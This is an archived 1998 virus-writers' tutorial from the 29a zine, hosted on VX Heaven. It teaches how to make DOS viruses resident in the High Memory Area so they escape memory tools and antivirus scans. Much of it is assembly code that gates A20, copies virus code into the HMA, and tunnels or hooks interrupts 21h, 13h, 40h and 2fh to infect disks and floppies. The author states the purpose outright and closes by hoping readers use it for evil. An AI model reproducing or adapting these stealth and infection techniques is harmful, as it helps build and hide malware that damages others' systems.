Maximize
Bookmark

VX Heaven

Librería Colección Códigos fuente Motores Constructores Simuladores Utilidades Enlaces Foro

HMA Residency

"Q" the Misanthrope
29a [2]
February 1998

[Back to index] [Comments]

This virus topic has not been discussed: HMA (not UMB) residency.

What is HMA?

It stands for High Memory Address. HMA memory is a 65520 byte area from FFFF:0010h to FFFF:FFFFh. "Q" the Misanthrope has been using the HMA to store about 15 of his viruses. This is his tutorial on HMA useage.

Why HMA?

It allows you to put your virus in a location not seen with any of the conventional memory tools. MEM, CHKDSK and others don't indicate that more memory is being used in the HMA when a virus goes resident there. Many anti virus programs did not scan the HMA since no one was crazy enough to put their virus up there. They now have changed because of the many viruses "Q" created that use the HMA.

HMA History

On an 80286+ there is an address line called a20 that was to be used to map the second megabyte of memory. There are additional address lines (a21, a22, etc) but with this a20 line there became another 64k of memory available to real mode programs. Where did this new memory come from? On an 8086, the addressing of the processor is in SEGMENT:OFFSET format. Each OFFSET spans a 64k SEGMENT. The actual physical address is computed as SEGMENT*10h +OFFSET. The last byte of memory on an 8086 was F000:FFFFh, or F0000h+FFFFh =FFFFFh. Notice that FFFF:000F is the same physical address (FFFF0h+000Fh=FFFFFh). What happens if you were to address FFFF:0010? (FFFF0h+0010h=100000h). On an 8086 this would map back to 0000:0000h but on an 80286 you have just touched the first byte of the second megabyte off memory. The only problem is that the 80286 works just the same as the 8086 and again you are mapped back to 0000:0000h. Some circuitry needed to be added, a20 gating was created. If doing the physical computation caused a carry into the next megabyte then turn the a20 line on. This feature had to be able to switched on and off at will. The 80286 also introduced the 8042 keyboard controller. There was an extra bit on an output port that could control this gating. The creation of the HIMEM.SYS would in part make controlling this a bit easier.

Gating a20

To enable the a20 gating:

 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
                 mov     ax,4300h        ;himem.sys check
                 int     2fh
                 cmp     al,80h
                 jne     error           ;no himem.sys loaded
                 mov     ax,4310h
                 int     2fh             ;get far call address es:bx
                 mov     ah,03h          ;Global enable A20
                 push    cs              ;prime the stack for retf
                 call    call_es_bx      ;put ip of next line on stack for retf
 next_line:      or      ax,ax           ;check if error
                 jz      error
                [...]                    ;code to do whatever
 call_es_bx:     push    es              ;now jmp to es:bx with ah as function
                 push    bx              ;the stack is primed to return to
                 retf                    ;next line
                [...]
 error:          mov     ah,09h          ;print command
                 mov     dx,offset errmsg;print error
                 push    cs
                 pop     ds
                 int     21h
                [...]
 errmsg          db      "A20 Global Enable error!",0dh,0ah,"$"
 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

Note: all of the HIMEM.SYS calls are documented in Ralf Brown's Interrupt list (INT 2Fh AX=4310h).

Brute force gating a20

Another method is the brute force one. What if you want the HMA available at boot time for your boot sector virus? You can directly control the 8042 keyboard controller. Using command D1. Write Output Port: next byte written to port 60h is placed in the 8042 output port.

	|7|6|5|4|3|2|1|0| 8042 Output Port
	| | | | | | | '---- system reset line
	| | | | | | '----- gate A20
	| | | | '-------- undefined
	| | | '--------- output buffer full
	| | '---------- input buffer empty
	| '----------- keyboard clock (output)
	'------------ keyboard data (output)
 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
 .286
                 mov     al,0d1h         ;send command to 8042
                 out     64h,al
 reloop:         in      al,64h          ;check that port 60h is available
                 or      al,02h
                 jnz     reloop
                 mov     al,11100011b    ;keep keyboard working and gate a20
                 out     60h,al
                 push    -1              ;set es=ffffh
                 pop     es
                 push    00h
                 pop     ds              ;set ds=0000h
                 mov     di,10h          ;check if it worked, compare
                 xor     si,si           ;ffff:0010h to 0000:0000 for 16 bytes
                 mov     cx,di           ;set cx to 10h
                 cld
                 rep     cmpsb           ;compare it
                 je      failed
                [...]                    ;worked, copy virus to ffff:xxxx
 failed:         jmp     short failed    ;do whatever
 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

HMA and DOS 5+

The easiest method is to use the HMA if DOS 5+ is loaded in the HMA with the commands in the CONFIG.SYS like these:

	DEVICE=C:\DOS\HIMEM.SYS
	DOS=HIGH

This requirement is on 99% of all machines running this decade. To invoke it, just do this:

 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
                 mov     ax,4a02h        ;allocate HMA space from DOS
                 mov     di,-1           ;prime di if DOS not high or < ver 5
                 mov     bx,0200h        ;number of bytes you want
                 int     2fh             ;should return es:di to available mem
                 inc     di              ;di=ffffh if no memory or DOS<5 etc.
                 jz      failed          ;if it failed
                 dec     di
                 mov     si,offset virii
                 mov     cx,bx           ;get ready to copy virii
                 cld
                 rep     movs byte ptr es:[di],cs:[si]
                [...]
 failed:         jmp     short failed
 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

Hooking interrupts

Now that you are in the HMA, what next? hook in your interrupts and you are off infecting. Problem is that it is not that simple. You can't point an interrupt to ffff:xxxx because the a20 gate may be turned off for some reason. If the a20 gate is turned off then your interrupt will point to code in the first 64k of memory. When DOS 5+ interrupts 13h, 21h, 2fh, etc chain into the HMA they first check if the a20 line is gated, if not, they gate it. The interrupt then continues its code in the HMA. You can tunnel your desired interrupt and hook in to the interrupt chain when the code goes to the HMA. An example of hooking interrupt 21h is:

 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
 .286
 virus_size      equ     previous_21-begin
 begin:         [...]
                 mov     ax,3501h        ;get int 1 address for tunnel
                 int     21h
                 mov     dx,offset interrupt_1
                 mov     ah,25h          ;set int 1 for tunnel
                 push    es
                 int     21h
                 pop     ds              ;ds:dx will be to set it back
                 push    00h             ;es=0000h
                 pop     es
                 pushf                   ;simulate interrupt stack
                 mov     dx,bx
                 push    cs
                 push    es              ;return to cs:0000 is cd 20
                 int     01h             ;set trap flag
                 db      26h             ;es: override in to int table
                 dw      02effh,21h*04h  ;jmp far ptr es:[0084]
 interrupt_1:    pusha                   ;save varables
                 push    sp
                 pop     bp              ;get pointer
                 push    ds
                 push    es
                 lds     si,dword ptr ss:[bp+10h];get next instruction address
                 cmp     word ptr ds:[si+01h],02effh
                 jne     go_back         ;check if jmp far ?s:[????]
                 cmp     word ptr ds:[si-02h],001cdh
                 org     $-02h           ;see if called from our int 01
                 int     01h
                 je      toggle_tf
                 mov     si,word ptr ds:[si+03h];get address segment of jmp
                 cmp     byte ptr ds:[si+03h],0f0h
                 jb      go_back         ;see if in HMA area
                 mov     bx,((virus_size+10h)SHR 4)*10h
                 mov     di,0ffffh       ;allocate HMA area for virus
                 mov     ax,4a02h
                 int     2fh
                 inc     di              ;is HMA full
                 jz      toggle_tf       ;if so then just don't bother
                 push    si              ;move the virus to the HMA
                 cld
                 mov     cx,virus_size
                 mov     si,0100h        ;copy virus to HMA
                 rep     movs byte ptr es:[di],cs:[si]
                 pop     si              ;now hook the int 21 chain
                 movsw                   ;int 21 copied at previous_21
                 movsw
                 lea     di,word ptr ds:[di-04h-virus_size+offset resident_21]
                 mov     word ptr ds:[si-04h],di;point to resident 21 code
                 mov     word ptr ds:[si-02h],es
 toggle_tf:      xor     byte ptr ss:[bp+15h],01h;toggle the trap flag
 go_back:        pop     es
                 pop     ds
                 popa
                 iret
 resident_21:    pushf                   ;do the voodoo you do so well
                 pusha
                [...]
                 popa
                 popf
                 db      0eah
 previous_21:    label   double
 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

This is a bit laborous. What else can be done? if you need to hook int 13h then the simple use of int 2fh AH=13h can be done.

 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
 .286
 ;at the start es:di is pointing to the start of the virus in HMA. es=ffffh
                 mov     ah,13h          ;get int 13 chain
                 int     2fh             ;returns previous ds:dx to bios
                 push    ds              ;int 13h
                 push    dx
                 lea     dx,word ptr ds:[di+offset resident_13]
                 push    -1              ;point to new int 13 in HMA
                 pop     ds
                 int     2fh             ;set new int 13 into chain
                 push    -1
                 pop     ds
                 pop     word ptr ds:[di+previous_13]
                 pop     word ptr ds:[di+previous_13+02h]
 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

The only problem with this is that Windows will spot it if the 32 bit disk access is enabled.

An even simpler way of hooking into the interrupt 13h chain can be done if all you are wanting to do is infect floppies. Interrupt 40h is the moved interrupt 13h handler that only handles floppy accesses. It can be directly hooked into the HMA because all access to it will be through interrupt 13h that made sure the a20 line was gated before it went into the HMA.

 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
 .286
 ;at the start es:di is pointing to the start of the virus in HMA. es=ffffh
                 push    es              ;save es
                 mov     ax,3540h        ;get old int 40
                 int     21h
                 pop     ds              ;get es and save old int 40
                 mov     word ptr ds:[di+previous_40],bx
                 mov     word ptr ds:[di+previous_40+02h],es
                 lea     dx,word ptr ds:[di+resident_40]
                 mov     ah,25h          ;set int 40 into hma
                 int     21h
 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

Interrupt 2fh is very easy to hook into the HMA. Before DOS 7, you could hook your code in at 0070:0005h. DOS 7 moved it to 0070:0168h.

Another way to hook into the interrupt chain and make sure that the a20 line is gated is to have some code in lower memory that calls the interrupt you want to hook in with some bogus function, then jump to the HMA code because the a20 line was gated with the previous interrupt call. An example:

 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
 .286
 interrupt_21:   push    ax              ;interrupt 21h points to here
                 mov     ah,19h          ;get current drive (bogus instruction)
                 pushf                   ;simulated stack for interrupt
                 db      09ah            ;far call instruction
 previous_21     dd      04530126eh      ;previous interrupt 21 simulation
                 pop     ax
                 db      0eah            ;far jmp
 hma_virus_code  dd      ffffec1ch       ;to virus code in HMA
 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

Using some lower memory as a kernal

The trick is where to put these instructions in lower memory. The interrupt vector table can be used either the user area at 0040:00f0h or i like to use the root PSP of COMMAND.COM:

 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
 .286
                 mov     ah,51h          ;get current PSP
                 int     21h
                 xor     ax,ax           ;prime ax not equal PSP
 find_root_psp:  cmp     ax,bx
                 je      found_root
                 mov     ds,bx           ;point to current psp
                 mov     ax,bx           ;for compare
                 mov     bx,word ptr ds:[16h];get parent psp
                 jmp     short find_root_psp
 found_root:    [...]                    ;ds points to the psp of command.com
                [...]                    ;ds:005ch to ds:007fh is useless space
 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

What works and what doesn't

When your virus code is the HMA there are certain things that will not work like you'd like them to: you can not hook your critical error handler in to the HMA. You can not do interrupt 21h writes or reads with DS:DX pointing in the HMA. To do these you will need to use some lower memory and copy the contents into the lower memory and point to it. You can use the lower memory areas discussed above. What does work: BIOS interrupt 13h reads and writes work just fine. Searching the disk buffers and modifying them to insert your code and then marking the buffer as dirty will cause the processor to write it back.

If this has inspired someone else to use the HMA for evil rather than good then my efforts have been worth it.

[Back to index] [Comments]
By accessing, viewing, downloading or otherwise using this content you agree to be bound by the Terms of Use! vxer.org aka vx.netlux.org
deenesitfrplruua